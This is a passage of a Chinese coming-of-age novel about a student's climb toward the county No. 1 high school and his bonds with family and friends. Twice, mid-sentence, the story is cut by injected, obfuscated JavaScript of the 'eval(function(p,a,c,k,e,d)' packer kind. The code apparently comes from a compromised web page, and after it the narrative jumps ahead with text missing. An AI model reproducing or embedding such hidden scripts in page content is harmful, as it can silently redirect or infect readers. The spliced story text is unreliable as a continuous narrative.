李小四觉得这句话很有道理,把这句话记在了心里。 山顶的风景很好。站在凤凰山顶上,能看到整个县城,房子像积木一样小,马路像一条灰色的带子,远处的河像一根银色的线,弯弯曲曲地伸向远方。风吹过来,带着松树的味道和泥土的气息,凉飕飕的,把爬山出的汗都吹干了。 李小四站在山顶上,忽然想起了大壮。他想,如果大壮在这里,一定会站在最高的那块石头上,张开双臂,大喊一声“我是世界之王”——那是他们一起看《泰坦尼克号》的时候大壮学的台词,学得不像,但喊得很响。 他掏出手机,拍了一张照片。照片上是远处的县城和更远处的山,一层一层的,深绿浅绿交叠在一起,像一幅画。他把照片发给大壮,配了一行字:“凤凰山顶,你欠我一次。” 过了几分钟,大壮回了一条语音。李小四点开,大壮的声音从手机里传出来,有点沙哑,但带着笑:“等我回去,咱们再爬一次。” 李小四把这条语音存了下来,设了一个收藏。 回来的路上,林小美走在他旁边,忽然问了一句:“你以后想干什么?” “什么?” “就是……长大了想做什么?”林小美看着前方的路,没有看他,“你不是说我是你的目标吗?那你超过我了以后呢?” 李小四想了想,老实说:“我没想过那么远。” “你应该想想。”林小美说,“人要有目标,才能走得远。” “那你呢?你想当老师,然后呢?” 林小美沉默了一会儿,说:“然后我想让我奶奶过上好日子。我妈走了以后,是我奶奶把我带大的。她今年七十多了,还在给人家做保洁,一个月八百块。我不想她那么累了。” 李小四听了这话,心里像被什么东西撞了一下。 他想起自己的妈妈,在超市站一天,腿肿得跟萝卜似的。他想起自己的爸爸,跑长途货运,有时候一个月都不回来,在高速上困了就睡服务区,饿了就吃泡面。他们也在累,也在为他累。 他想,他也有一个目标,一个他一直没想清楚、但此刻忽然变得很清晰的目标。 他想让爸妈不用再那么累。 “我知道了。”李小四说。 “知道什么了?” “我的目标。” 林小美看了他一眼,没再问。 十二月的月考,李小四数学考了89分,物理考了78分,总分排名班级第二十一名。 离前二十名还差两个名次。 马老师在班上表扬了他:“李小四同学,从初一入学时的倒数第三,到现在的中上游,他的进步是靠每一天的努力换来的。没有捷径,就是做题、问、改错。你们每个人都做得到,关键是你们愿不愿意做。” 李小四低着头,脸有点红。他听到后面有人小声说“他运气好”,也听到有人小声说“人家是真的努力了”。他在心里把这两种声音都收下了,既不骄傲,也不生气。 他知道自己还差得远。第二十一名,离林小美的第一名还隔着二十个人,隔着几十分,隔着很多他还没学会的知识。 但没关系。 他有一支姐姐送的钢笔还没用,有一个错题本还没写完,有一本马老师给的练习册还没做完。 他还有时间。 期末考试前一周,下了一场大雪。 这是县城好几年没见过的大雪,从早上开始下,到下午放学的时候,地上已经积了厚厚一层,踩上去咯吱咯吱响。整个学校变成了白色,操场、教学楼、花坛、旗杆,全都被雪盖住了,像盖了一层厚厚的棉被。 同学们都疯了,课间的时候全跑到操场上打雪仗、堆雪人。李小四也被拉去了,张瑞扔了一个雪球砸在他后脑勺上,他回头看到张瑞一脸无辜地站在那里,忽然觉得这小子也没那么烦人了。 他蹲下来团了一个雪球,刚想扔回去,余光扫到教学楼后面的花坛边有一个熟悉的身影。 林小美一个人站在花坛边,没有打雪仗,没有堆雪人,而是蹲下来,用手捧起一捧雪,捏成一个不太规则的小雪球,放在花坛的台子上。然后又捧了一捧,又捏了一个,放在第一个旁边。 她一连捏了五个小雪球,整整齐齐地排在花坛的台子上,像五颗白色的棋子。 李小四走过去,在她旁边蹲下来:“你在干嘛?” 林小美没抬头,继续捏雪球:“堆雪人。” “这哪儿是雪人?这是雪球。” “我堆的雪人就长这样。”林小美说着,从口袋里掏出两颗黑色的纽扣,按在最大的那个雪球上,当作眼睛。然后又从地上捡了一小截枯树枝,插在中间,当作鼻子。 那个雪球有了眼睛和鼻子,忽然就不只是一个雪球了。它变成了一个小小的、笨拙的、但很认真的雪人。 李小四看着那个小雪人,忽然觉得林小美这个人就像她堆的这个雪人——小小的,不声不响的,但很认真,认真到让人心里发软。 他把自己手里的雪球也放在小雪人旁边,说:“这是它朋友。” 林小美看了他一眼,嘴角弯了弯。 那是冬天里最冷的一天,但李小四觉得,那个下午很暖。 8. 初三的冲刺 初三开学那天,李小四走进教室的时候,差点以为自己走错了地方。 黑板右上角用红色粉笔写着一行大字:“距中考还有289天”。每个字都写得端端正正,一笔一划,像是用尺子量过的,连感叹号都透着一种不容置疑的严肃。 教室里的气氛也变了。以前课间的时候,教室里像炸开了锅,男生追着打闹,女生扎堆聊天,有时候马老师进来都要喊三遍“安静”才能压下去。但现在,课间的时候大部分人还坐在座位上,有的在刷题,有的在背单词,有的趴在桌上补觉——补觉的人多了,但那是昨晚熬夜学习的后遗症。 李小四把书包放下,看了看四周。张瑞坐在他前面,已经在做数学卷子了,桌面上摊着三本参考书,每一本都贴满了彩色便签。林小美坐在他旁边,正在翻一本英语语法书,书页已经翻得卷了边,上面密密麻麻写满了批注。 “早。”林小美头也没抬地说。 “早。”李小四说。 他也拿出课本,翻到第一课。初三的数学比初二又难了一大截,二次函数、相似三角形、圆——他光是看着目录就觉得头皮发麻。但他没有退缩,而是拿出笔,在课本扉页上写了一行字:“最后一年,拼了。” 这是他在暑假就想好的。初二期末考他考了班级第十八名,终于进了前二十,但离他的目标还差得远。县一中高中部的录取线去年是532分,他的期末总分是489分,差了43分。43分听起来不多,但要在一年里追上这43分,他知道自己得付出双倍的努力。 开学第一周的班会课上,马老师没有像往常一样讲纪律、讲卫生、讲班级管理,而是把一张大大的表格贴在了黑板旁边。 那是一张中考倒计时表,从289天开始,每天由值日班长划掉一个数字。 “你们看看这个数字,”马老师指着那张表格,声音比平时低沉,像是在说一件很重的事情,“289天,听起来很多,对吧?但你们算算,去掉周末、去掉寒假、去掉节假日,你们真正坐在教室里的时间,不到两百天。” 教室里安静得能听到日光灯嗡嗡的声音。 “两百天,”马老师伸出两根手指,“你们要用这两百天,把三年的东西全部吃透、嚼烂、咽下去。有人能做到,有人做不到。能做到的,去一中;做不到的,去二中、三中、职中。路是你们自己走的,我帮不了你们,只能把路指给你们看。” 他顿了顿,目光扫过每一个人。 “我说完了。你们自己想想。” 那节班会课后,李小四在错题本的最后一页写了一句话:“不到一中,不换笔。”那支姐姐送的钢笔,他答应自己考上前二十名就用的,到现在还没用。他想着,等考上高中再说吧,那支笔值得等到那一天。 初三的日子,像是被人按下了快进键。 每天早上六点,李小四的闹钟准时响起。他以前会按掉闹钟再睡十分钟,现在闹钟一响他就爬起来,用冷水洗把脸,坐到书桌前开始背英语单词。他把单词写在卡片上,一面英文一面中文,装在口袋里,上学路上、课间、吃饭排队的时候,随时随地掏出来看。 学校把初三的教室搬到了单独的一栋楼,远离初一初二的喧闹。那栋楼在学校最里面,挨着围墙,围墙外面是一片荒地,安静得只剩下鸟叫和风声。李小四喜欢这种安静,安静让他能集中注意力,安静让他觉得自己离那个目标越来越近。 但安静的代价是压力。 第一次月考,李小四数学考了91分,创了个人新高,他挺高兴的。但拿到成绩单的时候,他发现自己的班级排名还是第十八名,跟上学期期末一模一样。他进步了,但别人也在进步,而且进步得比他快。 那种感觉很难受。就像你在跑步,你拼命地跑,跑得气喘吁吁,腿都软了,但抬头一看,前面的人还是离你那么远,后面的人却越来越近。 “我是不是到天花板了?”他问林小美。 林小美正在做物理题,闻言抬起头看了他一眼:“什么天花板?” “就是……我怎么努力都上不去了。” 林小美放下笔,转过身来看着他,表情认真得像在分析一道难题:“你数学从91分提到95分,比你从38分提到91分难得多。越往上越难,这是正常的。” “那我该怎么办?” “怎么办?”林小美说,“继续做。做到95分,再做做到98分。做不到就反复做,做到会为止。” 李小四苦笑了一下:“你说得倒轻巧。” “我说得轻巧,但做起来不轻巧。”林小美的声音不大,但很笃定,“你以为我考年级第一是运气吗?我每天比你多学一个小时,周末比你多学四个小时,我做的题是你的两倍。你要是能做到这些,你也能考年级第一。” 李小四沉默了。 他知道林小美说的是实话。他见过林小美的错题本,不是一本,是五本,每一本都写得满满当当,红色蓝色绿色,三种颜色的笔交替使用,重点、难点、易错点,分门别类,清清楚楚。他见过她午休的时候不睡觉,趴在那里做题,有时候做着做着就睡着了,笔还握在手里,脸上印着试卷的折痕。 他有什么资格说自己到了天花板? “我知道了。”李小四说。 他翻开数学课本,从二次函数的第一节开始,重新看起。 十月中旬,学校举行了初三第一次家长会。 马老师提前三天通知了大家,让回去告诉家长。李小四给妈妈发了条微信,妈妈回了一个字:“好。” 家长会那天是周六,李小四跟妈妈一起去的学校。妈妈穿了一件她平时不舍得穿的深红色外套,头发梳得整整齐齐,还涂了一点口红。她走在校园里,看着来来往往的学生和家长,忽然说了一句:“你们学校还挺大的。” 李小四心里一酸。妈妈来过这所学校多少次了?初一开学送他来,初二被叫来签字,现在初三开家长会——来了好几次了,但每次都是匆匆忙忙的,从来没认真看过这个学校的样子。 教室里坐满了家长。妈妈找到李小四的座位坐下,翻看他桌上的课本和作业本。李小四站在走廊上,透过窗户偷偷看着妈妈。她一页一页地翻着他的作业本,看得很仔细,看到数学作业上那些红勾勾,嘴角微微翘起来,看到语文作文后面的评语,又皱了皱眉。 马老师在讲台上讲了很多,讲了中考的重要性,讲了这学期的教学计划,讲了家长应该怎么配合。妈妈一直认真地听着,偶尔在本子上记点什么——她那个本子是一个旧笔记本,封面已经磨损了,是她超市里搞活动剩下来的赠品。 家长会结束后,妈妈找到马老师,跟他聊了很久。李小四站在远处,不知道他们在说什么,但他看到马老师笑了好几次,还拍了拍妈妈的肩膀,好像在说什么让她放心的话。 回去的路上,妈妈骑电动车载着他。秋天的风吹在脸上凉飕飕的,路边银杏树的叶子黄了,一片一片地往下落,像下了一场金色的雨。 “马老师说你进步很大,”妈妈在前面说,风把她的声音吹得断断续续的,“他说你很有希望考上一中。” 李小四“嗯”了一声。 “你爸昨天打电话回来,也问你学习的事。我说你现在可努力了,他高兴得不行,说回来给你带好东西。” “带什么?” “他没说,反正是好东西。”妈妈笑了,笑声被风吹散,但李小四听得清清楚楚。 他坐在电动车后座上,看着妈妈的后脑勺,那里有几根白头发,在阳光下亮得刺眼。他伸手想去拔,但手伸到一半又缩了回来。拔不完的,他想,拔了一根还有下一根,不如做点别的。 “妈,”他说,“我考上一中以后,你就不用这么累了。” 妈妈沉默了两秒钟,然后说了一句让李小四记了很久的话:“你考上考不上,妈都不怕累。妈就怕你将来跟妈一样累。” 十一月的月考,李小四数学考了94分,物理考了85分,化学考了78分——初三新增了化学课,他又要从头开始啃。总分排名班级第十五名,第一次进了前十五。 林小美看了一眼他的成绩单,点了点头:“有进步。” “就‘有进步’三个字?”李小四装作不满,“我高兴了半天,你就给我三个字?” “那你想听什么?” “比如说‘李小四你真厉害’之类的。” 林小美白了他一眼,低下头继续写作业,但嘴角的弧度出卖了她。过了一会儿,她在草稿纸上写了一行字,推过来:“李小四,你真厉害。行了吧?” 李小四看了这行字,笑了。他把那张草稿纸折好,夹进了错题本里。 十二月的某天,李小四收到了大壮的第二封信。 这封信比第一封薄了很多,只有一张纸,而且纸上有一些水渍,像是被什么东西打湿过——也可能是眼泪,李小四不确定,也不想去猜。 “小四,我爸的腿最近又不好了。天气一冷就疼,疼得晚上睡不着。我妈厂里效益不好,可能要裁员。我想过了,读完初三我就不读了,找个工作,帮家里挣点钱。你别劝我,我知道自己在做什么。” “你好好学习,考上高中,考上大学,连我的那份一起读了。我以后就在天津打工,等你有出息了,我来找你,你请我吃饭就行。” “你的兄弟,王大壮。” 李小四把这封信看了两遍,然后把它放在桌上,趴在胳膊上,一动不动地趴了很久。 他想给大壮打电话,想跟他说“你不能不读书”,想说“你成绩又不差”,想说“你爸你妈不会同意的”。但他拿起手机又放下,放下又拿起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“补充维生素。”她说。 李小四拿起那个橘子,橘子还是温的,不知道在她书包里捂了多久。他剥开橘子,吃了一瓣,很甜,甜得他眼眶有点发酸。 期末考试在腊月二十。 考完最后一科的时候,天已经快黑了。李小四走出考场,站在教学楼的走廊上,深深地吸了一口冷空气。空气里有鞭炮的味道,快过年了,县城里开始有人放鞭炮了,远远近近的,噼里啪啦的,像在为他的考试庆祝。 他不知道考得怎么样,但他知道,他已经做了自己能做的所有事。 成绩出来那天是腊月二十五。 李小四正在家里擦窗户——快过年了,妈妈让他帮忙大扫除。他的手机震了一下,是林小美发来的微信,只有一张图片,是成绩单的照片。 他点开图片,手指在屏幕上放大,一行一行地找自己的名字。 找到了。 李小四,班级排名第十一名。 数学97分,物理91分,化学88分,英语78分,语文85分,总分439分——不算体育和实验操作,单文化课,比上学期期末高了将近五十分。 他盯着这行数字看了好几秒钟,然后放下手机,继续擦窗户。 擦着擦着,他发现自己的手在抖。不是冷的,是激动的。他使劲攥住抹布,深呼吸了好几次,但眼泪还是掉了下来,一滴一滴地落在窗台上。 妈妈从厨房探出头来:“怎么了?” “没事,”李小四用袖子擦了擦眼睛,“窗户太脏了,灰进眼睛了。” 妈妈看了看他,又看了看那扇已经擦得锃亮的窗户,没有拆穿他,只是说:“擦完吃饭了,今天做了红烧排骨。” “妈。” “嗯?” “我考了第十一名。” 妈妈愣住了。 然后她笑了,笑得眼睛眯成一条缝,笑得脸上的皱纹都舒展开了,笑到最后,眼泪也流了下来。 她走过来,用围裙擦了擦手,摸了摸李小四的头:“妈就知道,你一定能行。” 那天晚上,李小四坐在书桌前,从抽屉最深处拿出了那支姐姐送的钢笔。 银色的笔身,黑色的笔帽,笔尖上有一层薄薄的保护蜡。他把保护蜡擦掉,拧开墨水瓶,吸满墨水,然后在错题本的最后一页写下了几个字: “第十一名。离目标还差十名。” 他想了想,又在下面写了一行: “但那又怎样?” 窗外的鞭炮声越来越密了,年的味道一天比一天浓。李小四把那支钢笔放回抽屉,但不是藏在最深处了,而是放在最上面,一打开抽屉就能看到的位置。 他要用它了。 9. 倒计时一百天 寒假只有短短三周,但对初三的学生来说,三周已经太长了。 腊月二十六,学校正式放假。马老师在放假前开了一个简短的班会,没有说太多话,只是发了一张薄薄的纸,上面印着寒假作业清单。语文八套卷子,数学十套,英语六套,物理六套,化学五套,外加一本中考真题汇编,一共三百多页。 “不多,”马老师说,“平均到每天,两个多小时就能做完。但我跟你们说实话,作业不是最重要的。最重要的是你们自己心里要有数——哪科弱,补哪科;哪里不会,学哪里。开学之后就是一模,一模的成绩,基本就能看出你们中考的档次了。” 他顿了顿,扫了一眼全班:“寒假回来,我希望看到你们每一个人都还在。不是人还在,是心还在。” 教室里很安静。没有人说话,没有人笑,连平时最爱接话茬的几个男生都沉默着。 李小四把那张作业清单折了两折,塞进笔袋里。他的笔袋已经用了两年多,拉链有点坏了,用回形针别着,里面装着那支姐姐送的钢笔——他期末考试后就开始用了,笔尖磨合得越来越好,写起字来顺滑得像在冰面上滑行。 走出教室的时候,林小美叫住了他。 “李小四。” “嗯?” 林小美站在走廊上,背着那个深蓝色的帆布书包,围巾把脖子裹得严严实实,只露出一小截下巴。天很冷,她说话的时候呼出的白气一团一团的,像小小的云。 “寒假你去哪儿?” “哪儿也不去,在家。” “那……你每天几点起床?” 李小四愣了一下,不知道她为什么问这个:“六点半吧。怎么了?” 林小美沉默了两秒钟,好像在做什么决定:“那我也六点半。我们可以互相监督。你每天起床了给我发个消息。” 李小四看着她,忽然笑了:“你怕自己起不来?” “我怕你起不来。”林小美白了他一眼,转身走了,围巾的流苏在风里一甩一甩的。 从那天起,李小四的手机每天早上六点半准时震动。不是闹钟,是林小美发来的消息,有时候是一个句号,有时候是一个“早”字,有时候是一张照片——窗外的天空,冬天的太阳出来得晚,六点半的时候天还是灰蒙蒙的,照片里只能看到一片灰蓝色和远处几棵光秃秃的树。 李小四看到消息就爬起来,洗漱,吃早饭,坐到书桌前。他把手机调成静音,倒扣在桌上,然后翻开那本中考真题汇编,开始做题。 寒假的日子很安静。妈妈每天早上去超市上班,下午六点多才回来。李小四一个人在家,自己热剩饭,自己洗衣服,自己做作业。中午的时候他会站在阳台上晒一会儿太阳,看看楼下的街道。县城过年气氛浓,街上挂满了红灯笼,卖年货的摊位一个挨一个,喇叭里循环播放着“恭喜发财”,吵得整条街都热闹。但那些热闹跟李小四没什么关系,他的世界就是这个小小的阳台和阳台上那一小片天空。 大年三十那天,爸爸回来了。 李小四正在屋里做物理题,听到门响,抬起头,看到爸爸站在门口,手里拎着一个大编织袋,脸上带着跑长途的人特有的疲惫。他比以前瘦了,也黑了,眼角的皱纹像刀刻的一样,但看到李小四的时候,那双布满血丝的眼睛一下子亮了起来。 “小四,爸回来了。” 李小四放下笔,站起来,叫了一声“爸”。 爸爸把编织袋放在地上,走过来看了看他的书桌,翻了翻那本真题汇编,又看了看墙上贴的计划表,脸上的表情从疲惫变成了欣慰。 “我听你妈说了,你这次考了第十一名?”爸爸的声音有点哑,但带着笑意。 “嗯。” “好,好。”爸爸拍了拍他的肩膀,那只手粗糙得像砂纸,“你姐当年最高也就考过第十五名,你比她强。” 李小四笑了一下:“姐知道了又要说我。” “说她也不怕,她高兴还来不及。”爸爸从编织袋里掏出一个东西,用报纸包着,递给他,“给你的。新年礼物。” 李小四拆开报纸,里面是一支黑色外壳的电子表,不是那种贵的牌子,但表盘很大,数字清晰,还有计时和闹钟功能。 “你不是说每天要早起吗?戴着表,方便看时间。”爸爸说这话的时候有点不好意思,好像送礼物这件事让他觉得别扭。 李小四把手表戴在手腕上,表带长了,要绕两个扣眼。他把表盘翻过来看了看,背面贴着一张小小的标签,写着“MADE IN CHINA”,还有一行模糊的生产日期。 “谢谢爸。” 爸爸笑了笑,转身去厨房帮妈妈做饭了。 那天晚上,一家三口坐在一起吃年夜饭。妈妈做了八个菜,桌子都摆不下了,鱼啊肉啊堆得满满当当。爸爸喝了半斤白酒,脸喝得通红,话也多了起来,翻来覆去地说自己当年要是好好读书现在也不至于开货车,说李小四一定要考上一中,说等他考上大学了自己就不干了回来种地。妈妈嫌他话多,让他少喝点,他就嘿嘿地笑,笑得像个孩子。 李小四吃着饭,看着爸妈,心里忽然涌起一种说不清的感觉。不是感动,也不是心酸,而是一种更深的东西——他忽然意识到,爸爸妈妈真的老了。不是今天才老的,是一点一点老的,只是他以前没注意。妈妈的白头发不是这几天才长出来的,爸爸的腰不是这一趟才弯下去的,是他一直没有好好看过他们。 他低头扒了一口饭,把那种感觉咽了下去。 大年初一,李小四没有休息。 他按照计划表,早上六点半起床,做了一套数学模拟卷。窗外鞭炮声噼里啪啦地响,他戴上耳机,用手机放白噪音,把声音调到刚好盖住鞭炮的程度。做完卷子他对了答案,选择题错了两道,填空题错了一道,大题最后一道只做了一半。 他把错题一道一道地抄进错题本,用红笔在旁边写了错因分析。抄到倒数第二题的时候,手机震了,是林小美发来的消息。 “在干嘛?” “做题。你呢?” “也在做题。”后面跟了一张照片,拍的是她的书桌。桌上摊着四五本参考书,一个水杯,一袋拆开的饼干,还有一个相框。相框里的照片拍得不清楚,只能看到一个小小的轮廓,像是一个老人的侧脸。 李小四没有问那是谁。他知道,那是林小美的奶奶。 “你寒假有出去玩吗?”他问。 “没有。哪也没去。” “我也是。” 两个人沉默了一会儿。然后林小美又发了一条:“李小四,你觉得我们能考上一中吗?” 李小四看着这个问题,想了很久。 他想起自己初一的时候考38分,妈妈在饭桌上流眼泪。他想起大壮转学去天津,在信里说“连我的那份一起读”。他想起爸爸给他买的那块电子表,表带太长要绕两个扣眼。他想起马老师说的“你们每个人都能做到,关键是你们愿不愿意做”。 他打字过去:“我不知道别人,但我觉得我能。” 林小美回了一个字:“好。” 没有多余的话,就一个“好”字。但李小四知道,那个“好”字里装了很多东西。 寒假过得比想象中快。 三周的时间,李小四做了二十一套卷子,背了六百多个单词,整理了四本错题本。他的书桌变成了一个战场,课本、参考书、试卷、草稿纸堆成了小山,唯一空出来的地方就是放水杯的那一小块。墙上的计划表被贴了好几张新的,层层叠叠的,最底下那张已经泛黄了,是初一时候贴的,写着“每天学习一小时”。 现在他每天学习的时间,是那时的三倍还多。 开学前一天,他给大壮发了一条微信:“明天开学了,你那边怎么样?” 大壮没有马上回。过了大概一个小时,才回了一条语音。李小四点开,大壮的声音有点喘,好像在走路:“我这边也开学了。小四,我跟你说了你别骂我——我上学期期末考了班里第三十名,总分比期中掉了十几分。我也不知道怎么回事,就是学不进去。我爸的事老在我脑子里转,晚上睡不着,白天上课犯困。你别学我,你得好好考。” 李小四听完这条语音,心里像堵了一块石头。他打字打了很长一段,又删了,打了又删,反反复复好几次。最后他只发了一句话:“大壮,不管怎么样,你是我最好的兄弟。有事跟我说,别一个人扛。” 大壮回了一个“好”字,然后发了一个笑脸的表情。那个笑脸在屏幕上黄黄的,圆圆的,看起来很开心的样子。但李小四知道,大壮大概并不开心。 三月初,学校举行了中考百日誓师大会。 那天天气很好,阳光明媚,操场上的草刚刚返青,远远看去一片嫩绿。全年级六百多个学生站在操场上,按班级列队,每个人手里都拿着一面小红旗。主席台上拉着一条红色横幅,上面写着“决战中考,圆梦六月”八个大字,风吹过来,横幅鼓得像一面帆。 校长先讲话,说了一大段鼓励的话,什么“青春是用来奋斗的”,什么“乾坤未定,你我皆是黑马”,都是些套话,但不知道为什么,在那种气氛下,连套话都让人觉得热血沸腾。 然后是老师代表发言。马老师走上台的时候,李小四愣了一下。他没想到马老师会是代表。马老师站在话筒前,穿着一件洗得发白的夹克,头发梳得整整齐齐,跟平时在教室里的样子没什么两样。 “同学们,”马老师的声音从音箱里传出来,带着一点沙哑,“我带过七届初三,每一届我都会在百日誓师的时候说同样的话。但今天我想说点不一样的。” 操场上安静下来。 “我不是要跟你们讲大道理,大道理你们都听腻了。我就跟你们说一个真实的故事。”马老师顿了顿,“我有一个学生,七年前的,比你们大几届。他初一的时候数学考了二十几分,全班倒数第一。老师都觉得他没希望了,他自己也觉得没希望了。但是到了初三,他不知道怎么开了窍,开始拼命学。每天最早到教室,最晚走,中午不睡觉在那做题。你们猜他最后考了多少分?” 操场上有人小声猜,马老师没有等答案,自己说了:“他考了全县前五十名,去了市里最好的高中。现在他在北京读研究生。” 马老师停了停,目光扫过六百多张年轻的脸。 “我说这个故事,不是让你们每个人都去考全县前五十。我是想告诉你们,什么时候开始都不晚。你初一没学好,初二没学好,初三上学期没学好,都没关系。你还有一百天。一百天能做的事情,比你们想的要多得多。” 他讲完了。操场上响起了掌声,很响,响得连操场外面马路上的人都停下来往这边看。 李小四鼓掌鼓得很用力,手掌都拍红了。他看着台上的马老师,忽然觉得这个平时不苟言笑的中年男人,其实挺可爱的。 接下来是学生代表发言。让李小四没想到的是,学生代表竟然是林小美。 林小美走上台的时候,步子很稳,不急不慢的。她站在话筒前,先是沉默了两秒钟,然后开口了。她的声音不大,但很清晰,每个字都像落在玻璃上的雨滴,干干净净的。 “同学们好,我是初三(7)班的林小美。” “马老师说了一百天能做的事情很多,我想说,一百天也能改变很多事情。我自己就是一个例子。初一的时候,我英语不好,阅读理解经常错一半。我用了一个学期,每天做两篇阅读,做完之后把每篇里面的生词都查出来背下来。一个学期之后,我的英语从七十多分提到了九十多分。” “我不是聪明,我只是比别人多做了一点。每天多做一点,一百天就是一百点。一百点加起来,就是一大步。” 她说完这些,鞠了一躬,走下台。 掌声又响了起来。李小四鼓掌的时候,看到前面几个女生在抹眼泪,不知道是被感动的还是被风吹的。他自己也有点鼻子发酸,但他忍住了,使劲眨了眨眼睛。 誓师大会的最后一个环节,是各班在自己的横幅上签名。 每个班都有一条横幅,上面写着不同的口号。7班的横幅上写着“不负青春,不负自己”,字是马老师亲自写的,他的毛笔字写得不错,行书很流畅,一笔一划都带着力道。 同学们一个接一个地上前签名。有人签得很大,占了半个横幅;有人签得很小,躲在角落里;有人在名字旁边画了一个笑脸,有人写了一句“加油”。 李小四走上前,用那支姐姐送的钢笔,在横幅的中间位置签下了自己的名字。“李小四”三个字,他写得很慢,一笔一划,像是在刻石碑。 签完名他退到一边,看着林小美走过来。林小美拿起黑色的记号笔,在横幅上签了名字,很小,很工整,跟她这个人一样。签完之后她犹豫了一下,在名字旁边写了四个字:“一中见。” 李小四看到那四个字,心跳忽然快了一拍。 他不知道那四个字是写给谁的。可能是写给她自己的,可能是写给全班的,也可能——只是可能——是写给某个具体的人的。 他不敢问。 誓师大会结束后,日子忽然变得飞快。 以前觉得一周很长,从周一到周五好像过不完。现在觉得一周很短,周一刚开完晨会,转眼就到了周五。试卷一张接一张地发,考试一场接一场地排,黑板上的倒计时数字一天比一天小:98、97、96、95…… 李小四的生活变成了一种机械的节奏:起床,上学,上课,做题,吃饭,做题,放学,做题,睡觉。周末也没有休息,周六全天上课,周日做卷子。他的世界里只剩下三件事:语文、数学、英语、物理、化学——不对,这是五件事。但他已经分不清了,它们在他脑子里搅在一起,像一锅粥。 三月底,第一次模拟考试。 一模是中考前最重要的一次考试,题型、难度、时间安排都严格按照中考的标准来。马老师提前一周就反复强调:“一模就是中考的预演,你们要把一模当成真正的中考来对待。” 李小四确实认真对待了。他提前一周就开始调整作息,每天十点半准时睡觉,早上六点起床,保证充足的睡眠。他把错题本从头到尾翻了一遍,把容易混淆的公式重新抄在一张纸上,贴在床头,每天睡前看一遍。 考试那天,他坐在考场里,深吸一口气,开始答题。 语文感觉不错,作文题目是《春天的约定》,他写的是跟大壮在河堤上的约定。数学比想象中难,最后一道大题他想了十几分钟才有思路,匆匆写完了步骤,没来得及检查。英语阅读理解有一篇讲环保的,生词很多,他连蒙带猜做完了。物理和化学发挥正常,该拿的分基本都拿了。 考完最后一科,他长长地出了一口气,像一条搁浅了很久的鱼终于回到了水里。 成绩出来是一周后。 马老师把成绩单贴在了教室后面的公告栏上,围了一大圈人。李小四挤不进去,站在外面等着,心跳得很快。 人群散开了一些,他挤进去,找到自己的名字。 李小四,班级排名第九名。 总分比上学期期末高了二十三分,班级排名从第十一名进步到了第九名。数学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不是我的预期准,”林小美说,“是你的水平就是84分。想考85,你还得再练。” 李小四无话可说。他知道林小美说的对。他翻出自己的英语试卷,把错题一道一道地看了一遍。阅读错了两道,完形填空错了一道,作文扣了三分。阅读错的那两道,一道是因为生词不认识,一道是因为题目看错了。 生词不认识,说明单词量不够。题目看错了,说明粗心。 这两个问题,都能改。 他把那篇阅读里的生词全部查出来,抄在一个小本子上,每天早上背一遍。背到第三遍的时候,他发现自己已经记住了。那种感觉很好,像在黑暗中摸到了一根绳子,顺着绳子往前走,前面好像有光。 四月下旬的一个傍晚,李小四放学回家,在小区门口遇到了一个人。 他先是看到一双鞋,旧的运动鞋,鞋带换了新的,一只是白色的,一只是灰色的。然后他看到一条牛仔裤,膝盖磨白了一大片。然后他抬起头,看到了一张熟悉的脸。 王大壮站在他面前,咧着嘴笑,笑容跟以前一样,大大的,亮亮的,但眼睛下面有很深的黑眼圈,人也瘦了一大圈。 “大壮?!”李小四的声音都变了,又尖又哑,像一个正在变声期的男生被踩了尾巴,“你怎么回来了?!” “回来看看你。”大壮说,声音比视频里听着更沙哑,好像嗓子里塞了沙子,“我妈说让我回来散散心,在这边待几天再回去。” 李小四看着他,看着这个从天津坐了十几个小时硬座回来的兄弟,看着他瘦削的脸和疲惫的眼睛,忽然什么都说不出来了。他上前一步,狠狠地抱住了大壮。大壮比他高了小半个头,他抱起来刚好把脸埋在大壮的肩膀上。 大壮拍了拍他的后背,力道很轻,不像以前那样没轻没重的。 “走吧,”大壮说,“请我吃烤肠。” 学校门口的烤肠摊还在。老板还是那个胖胖的中年妇女,围着一条油腻腻的围裙,看到大壮的时候愣了一下,然后笑了:“哟,大个子回来啦?” “回来了。”大壮说,“来两根,多加辣椒。” 两个人站在摊子前,一人拿着一根烤肠,辣椒酱红通通的,咬一口满嘴香。夕阳把他们的影子拉得老长,一个高一个矮,像两棵挨在一起的树。 “你瘦了。”李小四说。 “你也是。”大壮说,“你以前脸上有点肉的,现在都没了。” “学习累的。” “我也是,干活累的。” 李小四看了他一眼。大壮没有多说自己干活的事,他也没有问。有些事情不需要说,一说就重了。 “你一模考得怎么样?”大壮问。 “班级第七。” “真的假的?”大壮的眼睛亮了,“你初一才三十八名吧?” “三十八是分数,不是名次。” “反正就是很厉害的意思。”大壮咬了一口烤肠,含混不清地说,“我就知道你行。” 李小四看着大壮,心里有一万句话想说,但最后只说了一句:“大壮,你还读书吗?” 大壮沉默了一会儿,嚼着烤肠,没有马上回答。等他咽下去了,才慢慢地说:“我还没决定。我爸说砸锅卖铁也要让我读,我妈说她再找一份工。但是小四,你不知道,我爸现在走路一瘸一拐的,我妈头发白了一半,我看着心里难受。” “我懂。”李小四说。 “你不懂。”大壮摇了摇头,但语气不是反驳,而是一种无奈的叹息,“算了,不说这个了。你好好考,考上一中,考上大学,以后当个大人物。到时候我出去跟人说,李小四是我兄弟,多有面子。” 李小四想说“你不是说连你的那份一起读吗”,但话到嘴边又咽了下去。他知道大壮记得,大壮什么都记得。他不是不想读,他是读不了。有些时候,不是你想做什么就能做什么的。 两个人在学校门口站了很久,直到太阳完全落下去,路灯一盏一盏地亮起来。李小四看了看手腕上的电子表,七点四十五了,他该回去上晚自习了。 “我送你到校门口。”大壮说。 两个人走到校门口,大壮停下来,没有进去。他站在校门外面,隔着铁栏杆看着里面的教学楼,三楼的灯亮着,那是初三年级的教室。 “小四,”大壮说,“你回去吧。我后天就走了,不来找你了,省得耽误你学习。你考上高中了给我发个消息,我高兴高兴。” 